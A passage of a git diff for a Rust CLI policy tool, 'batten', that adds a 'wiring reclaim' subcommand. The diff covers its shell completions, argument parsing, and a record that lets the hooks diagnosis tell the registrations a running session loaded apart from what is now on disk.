wiring; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "check" -d 'Run the applicable read-only gates against the repository' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "enforce" -d 'Run every configured rule, including kinds that execute a configured command' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "exec" -d 'Run a command — or a `:::` bundle — and report a pointer to what it wrote' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "capture" -d 'Captured command output: navigate what `exec` already ran, without running it again' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "target" -d 'Inspect and reclaim this repository\'s build tree' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "config" -d 'Inspect configuration' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "lint" -d 'Lint an artifact against a declared schema' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "spec" -d 'Print the tool\'s own command spec' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "doctor" -d 'Diagnose whether Batten can run in this repository' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "init" -d 'Write a starter batten.toml, refusing to overwrite an existing one' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "baseline" -d 'Record the findings that already exist, so only new ones fail' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "generate" -d 'Emit artifacts derived from the command spec, on stdout' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "perf" -d 'Measure this repository\'s own invocation cost' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "policy" -d 'Inspect the thresholds and path sets this repository holds itself to' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "commit" -d 'The shape a commit must take here: what its subject may say' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "semver" -d 'Whether this branch\'s API delta is compatible with the bump it claims' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "attribution" -d 'What produced commits may carry about the tooling that made them' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "worktree" -d 'Worktrees and the work in them: what is at risk' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "override" -d 'Issued admissions: an override is a record, never a variable somebody knows' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "provision" -d 'Pinned tools this repository provisions, cached out of tree' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "hook" -d 'Adjudicate a mediated tool call read from stdin (a deny is exit 2, the one contract)' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "payload" -d 'Read a hook payload from stdin' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "receipt" -d 'Verification receipts: SHA-keyed claims a named check passed, invalidated by git facts' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "wiring" -d 'Repair a host\'s hook registrations' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "show" -d 'Print a capture\'s pointer, or the lines a selection asks for, with no second run' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "list" -d 'List this repository\'s captures as handles, in a fixed order' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "prune" -d 'Remove this repository\'s captures — the one removal path; captures never expire on their own' @@ -1673,3 +1720,4 @@ complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subc complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "record" -d 'Record this ref\'s findings into the store, and GC instances whose ref is gone' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "migrate" -d 'Upgrade the findings store to this binary\'s record version' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "list" -d 'List stored findings and the refs they were observed in' +complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from wiring" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' diff --git a/completions/batten.zsh b/completions/batten.zsh index 52ba20b3c..e6f0c5e5d 100644 --- a/completions/batten.zsh +++ b/completions/batten.zsh @@ -2789,6 +2789,100 @@ esac ;; esac ;; +(wiring) +_arguments "${_arguments_options[@]}" : \ +'--strictness=[Raise how strictly gates apply (an override may only tighten policy)]: :((permissive\:"Advisory\: findings are reported without failing the run" +standard\:"The default\: a finding is a violation" +strict\:"Everything \`Standard\` fails on, plus anything advisory"))' \ +'--config-from=[Read the committed config from a git ref (e.g. origin/main) instead of the working tree]: :_default' \ +'--log-level=[Set the verbosity rung by name]: :((silent\:"Say nothing but a verdict or a usage error" +quiet\:"Suppress ordinary progress; keep warnings" +normal\:"The default" +verbose\:"Explain what is being checked" +debug\:"Add resolution detail" +trace\:"Add everything"))' \ +'--fail-on-warning[Promote a warn-severity finding to a violation (an override may only turn this on)]' \ +'*--silent[Say nothing but a verdict or a usage error]' \ +'*-q[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*--quiet[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*-v[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--verbose[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--debug[Add resolution detail]' \ +'*--trace[Add everything]' \ +'--no-color[Never colour stderr, whatever it is attached to]' \ +'--no-input[Never prompt; treat the run as unattended]' \ +'-y[Confirm a destructive operation that would otherwise refuse]' \ +'--yes[Confirm a destructive operation that would otherwise refuse]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_batten__subcmd__wiring_commands" \ +"*::: :->wiring" \ +&& ret=0 + + case $state in + (wiring) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-wiring-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +'--strictness=[Raise how strictly gates apply (an override may only tighten policy)]: :((permissive\:"Advisory\: findings are reported without failing the run" +standard\:"The default\: a finding is a violation" +strict\:"Everything \`Standard\` fails on, plus anything advisory"))' \ +'--config-from=[Read the committed config from a git ref (e.g. origin/main) instead of the working tree]: :_default' \ +'--log-level=[Set the verbosity rung by name]: :((silent\:"Say nothing but a verdict or a usage error" +quiet\:"Suppress ordinary progress; keep warnings" +normal\:"The default" +verbose\:"Explain what is being checked" +debug\:"Add resolution detail" +trace\:"Add everything"))' \ +'-n[Preview what would be applied, writing nothing]' \ +'--dry-run[Preview what would be applied, writing nothing]' \ +'--fail-on-warning[Promote a warn-severity finding to a violation (an override may only turn this on)]' \ +'*--silent[Say nothing but a verdict or a usage error]' \ +'*-q[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*--quiet[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*-v[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--verbose[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--debug[Add resolution detail]' \ +'*--trace[Add everything]' \ +'--no-color[Never colour stderr, whatever it is attached to]' \ +'--no-input[Never prompt; treat the run as unattended]' \ +'-y[Confirm a destructive operation that would otherwise refuse]' \ +'--yes[Confirm a destructive operation that would otherwise refuse]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_batten__subcmd__wiring__subcmd__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-wiring-help-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; (help) _arguments "${_arguments_options[@]}" : \ ":: :_batten__subcmd__help_commands" \ @@ -3289,6 +3383,26 @@ _arguments "${_arguments_options[@]}" : \ ;; esac ;; +(wiring) +_arguments "${_arguments_options[@]}" : \ +":: :_batten__subcmd__help__subcmd__wiring_commands" \ +"*::: :->wiring" \ +&& ret=0 + + case $state in + (wiring) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-help-wiring-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; (help) _arguments "${_arguments_options[@]}" : \ && ret=0 @@ -3331,6 +3445,7 @@ _batten_commands() { 'defects:The append-only defect ledger\: the lessons this repository has already paid for' \ 'design:Design-evidence claims\: the integrity of the record behind a decision' \ 'state:The out-of-tree findings store\: which store belongs to this checkout' \ +'wiring:Repair a host'\''s hook registrations' \ 'help:Print this message or the help of the given subcommand(s)' \ ) _describe -t commands 'batten commands' commands "$@" @@ -3764,6 +3879,7 @@ _batten__subcmd__help_commands() { 'defects:The append-only defect ledger\: the lessons this repository has already paid for' \ 'design:Design-evidence claims\: the integrity of the record behind a decision' \ 'state:The out-of-tree findings store\: which store belongs to this checkout' \ +'wiring:Repair a host'\''s hook registrations' \ 'help:Print this message or the help of the given subcommand(s)' \ ) _describe -t commands 'batten help commands' commands "$@" @@ -4144,6 +4260,18 @@ _batten__subcmd__help__subcmd__target__subcmd__prune_commands() { local commands; commands=() _describe -t commands 'batten help target prune commands' commands "$@" } +(( $+functions[_batten__subcmd__help__subcmd__wiring_commands] )) || +_batten__subcmd__help__subcmd__wiring_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ + ) + _describe -t commands 'batten help wiring commands' commands "$@" +} +(( $+functions[_batten__subcmd__help__subcmd__wiring__subcmd__reclaim_commands] )) || +_batten__subcmd__help__subcmd__wiring__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten help wiring reclaim commands' commands "$@" +} (( $+functions[_batten__subcmd__help__subcmd__worktree_commands] )) || _batten__subcmd__help__subcmd__worktree_commands() { local commands; commands=( @@ -4589,6 +4717,37 @@ _batten__subcmd__target__subcmd__prune_commands() { local commands; commands=() _describe -t commands 'batten target prune commands' commands "$@" } +(( $+functions[_batten__subcmd__wiring_commands] )) || +_batten__subcmd__wiring_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'batten wiring commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help_commands] )) || +_batten__subcmd__wiring__subcmd__help_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'batten wiring help commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help__subcmd__help_commands] )) || +_batten__subcmd__wiring__subcmd__help__subcmd__help_commands() { + local commands; commands=() + _describe -t commands 'batten wiring help help commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help__subcmd__reclaim_commands] )) || +_batten__subcmd__wiring__subcmd__help__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten wiring help reclaim commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__reclaim_commands] )) || +_batten__subcmd__wiring__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten wiring reclaim commands' commands "$@" +} (( $+functions[_batten__subcmd__worktree_commands] )) || _batten__subcmd__worktree_commands() { local commands; commands=( diff --git a/crates/batten/src/cli.rs b/crates/batten/src/cli.rs index d090d75aa..7d3344ddd 100644 --- a/crates/batten/src/cli.rs +++ b/crates/batten/src/cli.rs @@ -215,6 +215,22 @@ pub enum Command { /// The chosen sub-verb. command: PerfCommand, }, + /// Repair a host's hook registrations. + /// + /// Appended AFTER `Perf`, for the reason `Semver` is the first to state and + /// the first to be judged by: this enum carries no `repr`, so a variant + /// placed beside its neighbours shifts every later discriminant and the + /// compatibility gate reads that as a break the crate has to declare. + /// + /// `Perf` and this arrived on separate branches, each appended after + /// `Semver`, which is the one shape that conflicts textually while both + /// sides are individually correct. Resolved by ORDER OF LANDING — `Perf` is + /// already on `main`, so it keeps the discriminant it landed with and this + /// one takes the next. + Wiring { + /// The chosen sub-verb. + command: WiringCommand, + }, } /// Subcommands of `semver`. @@ -389,6 +405,19 @@ pub enum OverrideCommand { }, } +/// Subcommands of `wiring`. +#[derive(Debug, Clone, PartialEq, Eq)] +#[non_exhaustive] +pub enum WiringCommand { + /// Remove non-batten hook registrations from this host's merged surfaces. + Reclaim { + /// The global `-y --yes`, which this verb requires: it never prompts. + yes: bool, + /// Report what would be removed and remove nothing. + dry_run: bool, + }, +} + /// Subcommands of `worktree`. #[derive(Debug, Clone, PartialEq, Eq)] #[non_exhaustive] @@ -897,6 +926,16 @@ fn provision_of(matches: &ArgMatches) -> Option { } } +fn wiring_of(matches: &ArgMatches) -> Option { + match matches.subcommand()? { + ("reclaim", matches) => Some(WiringCommand::Reclaim { + yes: flag(matches, "yes"), + dry_run: flag(matches, "dry_run"), + }), + _ => None, + } +} + fn defects_of(matches: &ArgMatches) -> Option { match matches.subcommand()? { ("query", matches) => Some(DefectsCommand::Query { @@ -1128,6 +1167,7 @@ fn command_of((name, matches): (&str, &ArgMatches)) -> Option { "perf" => perf_of(matches).map(|command| Command::Perf { command }), "worktree" => worktree_of(matches).map(|command| Command::Worktree { command }), "override" => override_of(matches).map(|command| Command::Override { command }), + "wiring" => wiring_of(matches).map(|command| Command::Wiring { command }), "generate" => generate_of(matches).map(|command| Command::Generate { command }), // `get_many`, not `get_one`: the tail is an `Append` action, so every // token after `--` is a separate value and the child's argv is the whole diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index 3d7c7e782..c8b05cc45 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -31,12 +31,12 @@ //! own provisioning (the bats submodule, rustup cross targets). That one is //! repo tooling; this is the product verb. -use std::borrow::Cow; use std::path::Path; use crate::exit::ExitCode; use crate::rules::Rule; -use crate::{config, git, hook, resolve}; +use crate::wiring::{committed_events, entries_under, same_file}; +use crate::{config, git, hook, resolve, wiring}; /// One diagnostic's outcome. /// @@ -410,7 +410,13 @@ pub struct HarnessWiring { } /// The whole hook-wiring diagnosis, as the `-J` data channel renders it. +/// +/// `#[non_exhaustive]` for [`HarnessWiring`]'s reason, which this row has now +/// proved for itself: a report grows a field every time somebody finds that one +/// number was carrying two questions, and a consumer reads this and never +/// constructs it. #[derive(Debug, Clone, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] pub struct WiringReport { /// The running binary's version. pub version: &'static str, @@ -418,6 +424,31 @@ pub struct WiringReport { pub ok: bool, /// One row per harness with a hook-config surface, in `Harness::ALL` order. pub harnesses: Vec, + /// How many non-batten registrations the AT-LOAD record accounts for, or + /// `None` when there is no record (CLOUD-893). + /// + /// **The one number the live counts structurally cannot carry.** Every + /// `merged_*` field above describes the DISK, and a harness reads its wiring + /// once, at session start — so after `batten wiring reclaim` the disk says + /// zero while the running host is still dispatching what was there. This + /// field is what makes those two states distinguishable instead of + /// byte-identical, and it is the whole reason the repair is allowed to exist: + /// without it, repairing manufactures a green over a runtime nobody looked + /// at. + /// + /// **Reported, never judged.** Whether a session still running the old wiring + /// is acceptable is a consumer's call, exactly as whether a sibling is + /// legitimate is (non-negotiable rule 1), and this repository answers it in + /// `hooks-wiring-check` rather than here. So a non-zero record does not move + /// `ok`: the engine supplies the arithmetic and the consumer's gate supplies + /// the verdict. + /// + /// `None` rather than `0` because "no repair has been recorded" and "a repair + /// found nothing" are different states with different remedies — the first + /// says read the disk, the second says restart. Collapsing them would + /// reproduce, in the field added to prevent it, the collapse + /// `merged_surfaces_read` was added to prevent. + pub at_load_siblings: Option, } impl WiringReport { @@ -498,57 +529,12 @@ const MERGED_SIBLING: &str = "hook-wiring-merged-sibling"; /// one — so a single reason id would send the reader to the wrong place. const FILE_UNREADABLE: &str = "hook-wiring-file-unreadable"; -/// The event map inside a committed wiring file. -/// -/// One expression for both shapes of [`hook::WiringFile`], read from the -/// harness's own declaration rather than from a `(.hooks // .)` guess. The bash -/// gate carried that guess as a second copy of the Key/Whole split; deleting the -/// copy is the point of moving this in-process, not a side effect. -fn committed_events( - document: &serde_json::Value, - file: hook::WiringFile, -) -> Option>> { - let key = match file { - hook::WiringFile::Key { key, .. } => key, - // A hooks-only file is what `render_wiring` emits whole, and what it - // emits is `{"hooks": {…}}`. - hook::WiringFile::Whole(_) => "hooks", - }; - // AN ABSENT KEY IS AN EMPTY MAP, NEVER UNREADABLE, and the distinction is a - // verdict rather than a detail. A settings file carrying `permissions` and no - // `hooks` parses perfectly and registers batten nowhere — which under - // "registered on every surface" is the MAXIMAL disagreement, one - // `event-unregistered` per event. Reading it as "could not look" would answer - // a question nobody asked and hide the one that was. - // - // What is genuinely unreadable is a document that is not an object, or a - // `hooks` that is not one. - match document.get(key) { - None => document - .is_object() - .then(|| Cow::Owned(serde_json::Map::new())), - Some(value) => value.as_object().map(Cow::Borrowed), - } -} - -/// Every `{matcher, command}` pair registered under one event. -fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { - let mut pairs = Vec::new(); - for entry in value.as_array().into_iter().flatten() { - let matcher = entry.get("matcher").and_then(serde_json::Value::as_str); - for hook in entry - .get("hooks") - .and_then(serde_json::Value::as_array) - .into_iter() - .flatten() - { - if let Some(command) = hook.get("command").and_then(serde_json::Value::as_str) { - pairs.push((matcher, command)); - } - } - } - pairs -} +// `committed_events`, `entries_under` and `same_file` used to live here. They +// moved to [`crate::wiring`] when the repair path landed (CLOUD-893), because a +// reader and a writer that disagree about what a registration IS is the one +// defect `merged_under` below already warns about — "a sibling count that +// disagreed with the committed one about what a sibling is could not be summed +// with it." One authority, imported by both. /// Diagnose one harness's committed wiring against what the binary derives. /// @@ -774,25 +760,6 @@ fn reaches_engine(entry: &str, harness: hook::Harness) -> bool { }) } -/// Whether two paths name the same file on disk. -/// -/// Compared by CANONICAL path rather than by string: a checkout reached through -/// a symlink, or spelled with a `.`, is still the same file, and a string -/// comparison would miss it and report the committed wiring as a merged second -/// authority. A path that does not canonicalize does not exist, and a file that -/// does not exist collides with nothing. -/// -/// The collision is real rather than theoretical: several hosts spell their -/// user-level surface and their project-level one identically, differing only in -/// which directory they are resolved against, so a checkout that sits AT the -/// home directory resolves both to one file. -fn same_file(one: &Path, two: &Path) -> bool { - match (one.canonicalize(), two.canonicalize()) { - (Ok(left), Ok(right)) => left == right, - _ => false, - } -} - /// What one host's merged surfaces amount to, as a partition rather than a pair. /// /// Every surface [`hook::Harness::merge_surfaces`] declares lands in exactly one @@ -998,6 +965,13 @@ pub fn diagnose_hooks(dir: &Path) -> WiringReport { version: config::VERSION, ok: harnesses.iter().all(|harness| harness.ok), harnesses, + // Fails open to `None`, which is the read-the-disk arm: a store that + // cannot be reached has told us nothing about a repair, and inventing a + // zero here would be the false green the field exists to refuse. + at_load_siblings: wiring::read_at_load(dir) + .ok() + .flatten() + .map(|record| record.siblings()), } } diff --git a/crates/batten/src/lib.rs b/crates/batten/src/lib.rs index a0f9767ee..da40d5039 100644 --- a/crates/batten/src/lib.rs +++ b/crates/batten/src/lib.rs @@ -92,6 +92,7 @@ pub mod uses; pub mod verbs; pub mod verdict; pub mod waiver; +pub mod wiring; pub mod worktree; use std::io::{Read, Write}; @@ -102,7 +103,7 @@ use anyhow::Result; pub use cli::{ AttributionCommand, Cli, Command, CommitCommand, ConfigCommand, DefectsCommand, DesignCommand, GenerateCommand, LintCommand, OverrideCommand, PolicyCommand, ProvisionCommand, ReceiptCommand, - SemverCommand, SpecFormat, StateCommand, WorktreeCommand, + SemverCommand, SpecFormat, StateCommand, WiringCommand, WorktreeCommand, }; pub use config::Config; pub use effect::Effect; @@ -233,6 +234,7 @@ pub fn run(cli: Cli, mode: Mode, out: &mut dyn Write, err: &mut dyn Write) -> Re Some(Command::Override { command }) => run_override(command, &overrides, out, err), Some(Command::Semver { command }) => run_semver(command, mode, out, err), Some(Command::Perf { command }) => run_perf(command, out, err), + Some(Command::Wiring { command }) => run_wiring(&command, mode, err), // The ledger is a committed file the consumer declares; the §8 config // chain supplies its path and taxonomy and nothing else layers. Some(Command::Defects { command }) => match command { @@ -1486,6 +1488,105 @@ fn run_capture_prune( Ok(ExitCode::Success) } +/// The one write path over a host's hook registrations, and the only verb whose +/// subject is outside the repository — which is why it is `destructive` and why +/// it records before it repairs (CLOUD-893). +/// +/// A dispatcher rather than a direct arm in [`run`], for `run_capture`'s reason: +/// that table is one line per verb, and `run` is at its line ceiling. +/// +/// # Errors +/// +/// Whatever the chosen sub-verb could not do. +fn run_wiring(command: &cli::WiringCommand, mode: Mode, err: &mut dyn Write) -> Result { + match command { + cli::WiringCommand::Reclaim { yes, dry_run } => { + run_wiring_reclaim(*yes, *dry_run, mode, err) + } + } +} + +/// Remove every non-batten hook registration from this host's merged surfaces. +/// +/// **`ExitCode::Success` even when it found nothing**, and even when it removed +/// something. This is a repair, not a check: `doctor hooks` answers *is there a +/// hook here that is not mine* and the consumer's gate turns that into a verdict, +/// so an exit code here would be a second authority for the same question — and +/// per §7 a `2` from a repair would read to a mediating harness as a deny. +/// +/// **Output on stderr, and a count rather than a name** (non-negotiable rule 4). +/// What was removed is a filename off somebody's home directory; the arithmetic +/// is the actionable part and the harness plus event is where to look. +/// +/// # Errors +/// +/// A [`UsageError`] without `-y`, and whatever [`wiring::reclaim`] could not +/// write. +fn run_wiring_reclaim( + yes: bool, + dry_run: bool, + mode: Mode, + err: &mut dyn Write, +) -> Result { + use etcetera::BaseStrategy as _; + + let repo = git::repo_root(Path::new("."))?; + if !dry_run && !yes { + // §4's refusal, unconditional for `capture prune`'s reason: the same + // section says a policy engine that blocks a loop waiting for a Y/N is a + // dead gate, and the primary caller here is a program. Naming the flag is + // the whole remedy. + return Err(UsageError::raise( + "wiring reclaim: removing another tool's hook registrations is destructive and this \ + never prompts — pass -y, or -n to see what would go", + )); + } + // No resolvable home is COULD NOT LOOK, and it is a usage error rather than a + // silent zero: a repair that reports "removed 0" having looked nowhere is the + // false green this whole capability is built to refuse. + let strategy = etcetera::choose_base_strategy().map_err(|_| { + UsageError::raise( + "wiring reclaim: no home directory resolves, so there are no merged surfaces to read", + ) + })?; + let done = wiring::reclaim(&repo, strategy.home_dir(), dry_run)?; + let verb = if dry_run { "would remove" } else { "removed" }; + output::message( + mode, + output::Verbosity::Normal, + err, + &format!( + "wiring reclaim: {verb} {} sibling registration(s) across {} surface(s) read", + done.siblings(), + done.surfaces_read + ), + )?; + for row in &done.rows { + output::message( + mode, + output::Verbosity::Normal, + err, + &format!( + "wiring reclaim: {}:{} {} {}", + row.harness, row.event, verb, row.siblings + ), + )?; + } + // The line that stops the repair reading as completion. Emitted only when + // something actually moved, because a run that removed nothing left no gap + // between what this session loaded and what is on disk. + if !dry_run && done.siblings() > 0 { + output::message( + mode, + output::Verbosity::Normal, + err, + "wiring reclaim: this session already loaded the wiring that was just removed — \ + restart the harness before reading `doctor hooks` as green", + )?; + } + Ok(ExitCode::Success) +} + /// One half of a `FROM:TO` range, as a 1-indexed line number. /// /// Strict on both halves: a range with a missing or unparseable side is a @@ -3424,6 +3525,7 @@ fn collect_batch_advice( } report_contract_drift(envelope, overrides, advice); refresh_pinned(envelope, overrides); + expire_wiring_record(envelope); Ok(()) } @@ -3469,6 +3571,32 @@ fn refresh_pinned(envelope: &hook::Envelope, overrides: &Overrides) { let _refreshed = pinned::refresh(here); } +/// Drop the at-load wiring record at the one moment it stops being true +/// (CLOUD-893). +/// +/// A host reads its hook wiring when a session starts, so at `SessionStart` — and +/// only there — the disk and what the harness has loaded are the same thing by +/// definition. That makes this the one honest place to expire the record +/// `batten wiring reclaim` leaves behind, and it needs no session identity to do +/// it: the event IS the identity. +/// +/// **The clear has exactly one writer, which is why the repair has none here.** +/// Running the reclaim from a session-start handler would put a write and this +/// clear inside one unordered batch, and whichever landed second would decide +/// between the honest red and the false green the record exists to refuse. So +/// `reclaim` stays explicitly invoked and this stays the only expiry. +/// +/// Silent on every failure, and never a verdict. A session-start hook that +/// refused a session over a stale bookkeeping file would be a gate on the wrong +/// object; a record that outlives its session costs one extra red run of the +/// consumer's gate, which names the remedy anyway. +fn expire_wiring_record(envelope: &hook::Envelope) { + if envelope.event != hook::Event::SessionStart { + return; + } + let _ = wiring::clear_at_load(hook_authority_root()); +} + /// Run the declared handlers for this envelope's event (CLOUD-898). /// /// Returns the decision a handler forced, if any, and appends its advice and its diff --git a/crates/batten/src/spec.rs b/crates/batten/src/spec.rs index 2c3247b16..a3e3b83b6 100644 --- a/crates/batten/src/spec.rs +++ b/crates/batten/src/spec.rs @@ -565,6 +565,14 @@ mod tests { // `-y` binding rather than a new exception. "target".to_owned(), "target prune".to_owned(), + // The one write path over a host's hook registrations + // (CLOUD-893). Both rows are here and NEITHER is on the + // read-only allowlist above: the noun is `Unclassified` because + // its subtree carries a destructive verb, and the verb is + // `Destructive` because its subject is a file shared by every + // checkout on the box. + "wiring".to_owned(), + "wiring reclaim".to_owned(), "worktree".to_owned(), "worktree status".to_owned(), ] diff --git a/crates/batten/src/surface.rs b/crates/batten/src/surface.rs index 8d2e27bdb..2239b471b 100644 --- 